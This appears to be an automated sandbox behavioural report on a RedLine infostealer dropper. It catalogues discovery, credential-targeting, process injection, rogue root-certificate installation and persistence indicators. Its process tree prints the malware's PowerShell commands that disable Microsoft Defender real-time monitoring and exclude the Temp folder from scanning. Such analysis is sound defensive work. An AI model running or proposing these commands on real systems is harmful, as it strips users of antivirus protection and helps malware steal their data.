redline | 62be0ca52ea9ebc4c577d597b919f6b90cebdcc2179d7d482a04bf5731eec720

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	conhost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Sun038db98f99bf9a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Sun038aa349e3318e.exe

Loads dropped DLL 64 IoCs

pid	Process
1220	setup_x86_x64_install.exe
876	setup_installer.exe
876	setup_installer.exe
876	setup_installer.exe
876	setup_installer.exe
876	setup_installer.exe
876	setup_installer.exe
2008	setup_install.exe
2008	setup_install.exe
2008	setup_install.exe
2008	setup_install.exe
2008	setup_install.exe
2008	setup_install.exe
2008	setup_install.exe
2008	setup_install.exe
308	cmd.exe
308	cmd.exe
288	cmd.exe
1932	cmd.exe
1932	cmd.exe
456	cmd.exe
456	cmd.exe
1796	Sun033e271e0ce96c08.exe
1796	Sun033e271e0ce96c08.exe
1748	cmd.exe
1748	cmd.exe
916	cmd.exe
1180	cmd.exe
1180	cmd.exe
268	Sun0397381f1f458e.exe
268	Sun0397381f1f458e.exe
1000	cmd.exe
2004	cmd.exe
1696	Sun0324aba28588c0.exe
1696	Sun0324aba28588c0.exe
836	Sun03f0dc4460bc9.exe
836	Sun03f0dc4460bc9.exe
1400	Sun039750b00c.exe
1400	Sun039750b00c.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1116	Sun03e4aeb7e43a1c.exe
1116	Sun03e4aeb7e43a1c.exe
268	Sun0397381f1f458e.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1032	cmd.exe
656	cmd.exe
1728	cmd.exe
1424	cmd.exe
1460	Sun03f5d51697d04.exe
1460	Sun03f5d51697d04.exe
632	Sun03d477f1a31.exe
632	Sun03d477f1a31.exe
1068	Sun0397381f1f458e.exe
1068	Sun0397381f1f458e.exe
1460	Sun03f5d51697d04.exe
2208	Sun03f5d51697d04.tmp
2208	Sun03f5d51697d04.tmp
2208	Sun03f5d51697d04.tmp
2208	Sun03f5d51697d04.tmp
2296	Sun03f5d51697d04.exe
2296	Sun03f5d51697d04.exe
2296	Sun03f5d51697d04.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
81	freegeoip.app
82	freegeoip.app
87	freegeoip.app
24	ip-api.com
51	ipinfo.io
52	ipinfo.io
56	ipinfo.io
79	freegeoip.app

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 836 set thread context of 3064	836	Sun03f0dc4460bc9.exe	77

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\is-72G0I.tmp	Sun03f5d51697d04.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Sun03f5d51697d04.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Sun03f5d51697d04.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
2508	1604	WerFault.exe	46
1852	1092	WerFault.exe	61
960	1952	WerFault.exe	100
3252	2872	WerFault.exe	115
3132	2940	WerFault.exe	99

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3660	schtasks.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2120	tasklist.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command-Line Interface

T1059

pid	Process
3848	ipconfig.exe
2256	NETSTAT.EXE
3996	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
900	systeminfo.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
2844	taskkill.exe
2396	taskkill.exe
556	taskkill.exe
524	taskkill.exe
3700	taskkill.exe
3884	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun0397381f1f458e.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun0397381f1f458e.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun0397381f1f458e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun03e4aeb7e43a1c.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun03e4aeb7e43a1c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Sun03d477f1a31.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Sun03d477f1a31.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1852	WerFault.exe
1636	powershell.exe
1696	Sun0324aba28588c0.exe
1696	Sun0324aba28588c0.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1604	Sun038db98f99bf9a.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
1092	Sun038aa349e3318e.exe
2324	Sun03f5d51697d04.tmp
2324	Sun03f5d51697d04.tmp

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1696	Sun0324aba28588c0.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	632	Sun03d477f1a31.exe
Token: SeAssignPrimaryTokenPrivilege	632	Sun03d477f1a31.exe
Token: SeLockMemoryPrivilege	632	Sun03d477f1a31.exe
Token: SeIncreaseQuotaPrivilege	632	Sun03d477f1a31.exe
Token: SeMachineAccountPrivilege	632	Sun03d477f1a31.exe
Token: SeTcbPrivilege	632	Sun03d477f1a31.exe
Token: SeSecurityPrivilege	632	Sun03d477f1a31.exe
Token: SeTakeOwnershipPrivilege	632	Sun03d477f1a31.exe
Token: SeLoadDriverPrivilege	632	Sun03d477f1a31.exe
Token: SeSystemProfilePrivilege	632	Sun03d477f1a31.exe
Token: SeSystemtimePrivilege	632	Sun03d477f1a31.exe
Token: SeProfSingleProcessPrivilege	632	Sun03d477f1a31.exe
Token: SeIncBasePriorityPrivilege	632	Sun03d477f1a31.exe
Token: SeCreatePagefilePrivilege	632	Sun03d477f1a31.exe
Token: SeCreatePermanentPrivilege	632	Sun03d477f1a31.exe
Token: SeBackupPrivilege	632	Sun03d477f1a31.exe
Token: SeRestorePrivilege	632	Sun03d477f1a31.exe
Token: SeShutdownPrivilege	632	Sun03d477f1a31.exe
Token: SeDebugPrivilege	632	Sun03d477f1a31.exe
Token: SeAuditPrivilege	632	Sun03d477f1a31.exe
Token: SeSystemEnvironmentPrivilege	632	Sun03d477f1a31.exe
Token: SeChangeNotifyPrivilege	632	Sun03d477f1a31.exe
Token: SeRemoteShutdownPrivilege	632	Sun03d477f1a31.exe
Token: SeUndockPrivilege	632	Sun03d477f1a31.exe
Token: SeSyncAgentPrivilege	632	Sun03d477f1a31.exe
Token: SeEnableDelegationPrivilege	632	Sun03d477f1a31.exe
Token: SeManageVolumePrivilege	632	Sun03d477f1a31.exe
Token: SeImpersonatePrivilege	632	Sun03d477f1a31.exe
Token: SeCreateGlobalPrivilege	632	Sun03d477f1a31.exe
Token: 31	632	Sun03d477f1a31.exe
Token: 32	632	Sun03d477f1a31.exe
Token: 33	632	Sun03d477f1a31.exe
Token: 34	632	Sun03d477f1a31.exe
Token: 35	632	Sun03d477f1a31.exe
Token: SeDebugPrivilege	1852	WerFault.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	1596	Sun03ea09aa5c9686e5.exe
Token: SeDebugPrivilege	2844	taskkill.exe
Token: SeDebugPrivilege	2396	taskkill.exe
Token: SeShutdownPrivilege	1268	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2324	Sun03f5d51697d04.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 1220 wrote to memory of 876	1220	setup_x86_x64_install.exe	28
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 876 wrote to memory of 2008	876	setup_installer.exe	29
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 868	2008	setup_install.exe	31
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 1156	2008	setup_install.exe	32
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 2008 wrote to memory of 288	2008	setup_install.exe	33
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 868 wrote to memory of 1852	868	cmd.exe	39
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 1156 wrote to memory of 1636	1156	cmd.exe	34
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 2008 wrote to memory of 308	2008	setup_install.exe	35
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 2004	2008	setup_install.exe	36
PID 2008 wrote to memory of 1748	2008	setup_install.exe	37

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        
        PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1156
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun03d477f1a31.exe
      4⤵
      Loads dropped DLL
      PID:288
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03d477f1a31.exe
        
        Sun03d477f1a31.exe
        5⤵
